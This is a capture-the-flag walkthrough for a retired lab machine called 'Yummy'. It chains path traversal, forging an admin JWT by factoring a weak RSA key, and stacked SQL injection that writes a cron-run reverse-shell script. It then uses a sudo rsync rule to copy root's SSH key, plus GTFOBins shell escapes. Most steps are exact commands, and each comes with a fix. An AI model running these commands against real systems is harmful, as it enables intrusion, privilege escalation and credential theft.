Yummy
Summary
I registered a normal customer account on the Yummy restaurant-reservation web app and exploited a path-traversal flaw to read server files, recovering the application's source code. The source revealed that login tokens were signed with an RSA key deliberately generated with a very small secondary prime, letting me factor the key in seconds and forge an administrator token. The admin dashboard's sort parameter was vulnerable to stacked SQL injection, and the database account's FILE privilege was abused to write a script that a root-owned cron job picked up, yielding code execution as the mysql service account.
Configuration data recovered from that foothold exposed a reused password for the qa user, giving SSH access and the user flag. A passwordless sudo rule let qa run rsync as the dev user with my own arguments; this was abused to copy root's SSH private key to a world-readable path, giving a root shell and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD3="<the-password-you-recovered, for qa>"
export PASSWORD4="<the-password-you-recovered, for tester>"Some commands also carry a value in angle brackets (<forged_jwt>, <id>, <n_from_jwt>, <name>, <reverse_shell_script>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 4
Full TCP sweep; only 22 and 80 are open.
$ nmap -p- --min-rate=1000 -T4 $TARGETResolve the required virtual host.
$ echo "$TARGET yummy.htb" | sudo tee -a /etc/hostsRegister a customer account.
$ curl -sS -i -H 'Host: yummy.htb' -H 'Content-Type: application/json' -c cookies.txt -b cookies.txt -X POST http://$TARGET/register --data '{"email":"tester@yummy.htb","password":"'"$PASSWORD4"'"}'Log in and capture the X-AUTH-Token JWT (decode at jwt.io to read n/e).
$ curl -sS -i -H 'Host: yummy.htb' -H 'Content-Type: application/json' -c cookies.txt -b cookies.txt -X POST http://$TARGET/login --data '{"email":"tester@yummy.htb","password":"'"$PASSWORD4"'"}'Exact commands 3
Create a reservation to obtain a reservation id for the reminder flow.
$ curl -sS -b cookies.txt -H 'Host: yummy.htb' -X POST http://$TARGET/book --data 'name=a&email=a@a.a&phone=1&date=2026-12-01&time=12:00&people=2&message=x'Capture the export redirect Location header for a known reservation id.
$ curl -sS -b cookies.txt -H 'Host: yummy.htb' -i "http://$TARGET/reminder/<id>"Read /etc/crontab via the traversal; repeat against /data/scripts/*.sh and /var/www/backupapp.zip.
$ curl -sS -b cookies.txt -H 'Host: yummy.htb' --path-as-is "http://$TARGET/export/..%2f..%2f..%2f..%2f..%2fetc%2fcrontab"FixSanitize and canonicalize file paths used by the export/reminder featureHigh
Exact commands 3
Factor the weak modulus via the smallq attack; outputs a PEM private key.
$ python3 RsaCtfTool.py -n <n_from_jwt> -e 65537 --privateForge an RS256 token claiming the administrator role.
$ python3 -c "import jwt,time;print(jwt.encode({'email':'admin@yummy.htb','role':'administrator','iat':int(time.time()),'exp':int(time.time())+3600},open('priv.pem').read(),algorithm='RS256'))"Confirm administrator access with the forged token.
$ curl -sS -b 'X-AUTH-Token=<forged_jwt>' -H 'Host: yummy.htb' http://$TARGET/admindashboardFixGenerate the JWT signing key with full-strength RSA primes and avoid trusting unsigned-looking claimsCritical
Exact commands 3
Sqli_req is a saved /admindashboard request with the 'o' parameter and the forged admin cookie; confirms stacked and time-based injection.
$ sqlmap -r sqli_req --batch --level 5 --risk 3 --random-agentWrite a script that a cron job running as mysql will pick up; substitute $ATTACKER_IP/port in the script body.
$ curl -sS -b 'X-AUTH-Token=<forged_jwt>' -H 'Host: yummy.htb' --get "http://$TARGET/admindashboard" --data-urlencode 'o=ASC; select "<reverse_shell_script>" into outfile "/data/scripts/<name>.sh"; -- -'Catch the resulting shell once the cron job runs the written script.
$ nc -lvnp 5555FixParameterize the admin dashboard sort query and remove unnecessary database privilegesCritical
Exact commands 2
Validate the recovered qa credential.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no qa@$TARGET idRead the user flag; replace the printed value with <user.txt>.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no qa@$TARGET 'cat /home/qa/user.txt'FixEliminate credential reuse between database and OS/SSH accountsHigh
Exact commands 4
Enumerate qa's passwordless sudo rights as dev.
$ sudo -n -lAbuse the sudo rsync rule to copy and relax permissions on root's private key.
$ sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/ -p --chmod=Du=rwx,Dg=rx,Do=rx,Fu=rw,Fg=r,Fo=r /root/.ssh/id_rsa /opt/app/Confirm root access with the exfiltrated key.
$ ssh -i /opt/app/id_rsa root@$TARGET idRead the root flag; replace the printed value with <root.txt>.
$ ssh -i /opt/app/id_rsa root@$TARGET cat /root/root.txtFixRestrict the sudo rsync rule to fixed, non-abusable argumentsCritical
Attack patterns used
The transferable techniques behind this compromise.
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary: e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Caddy httpd |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.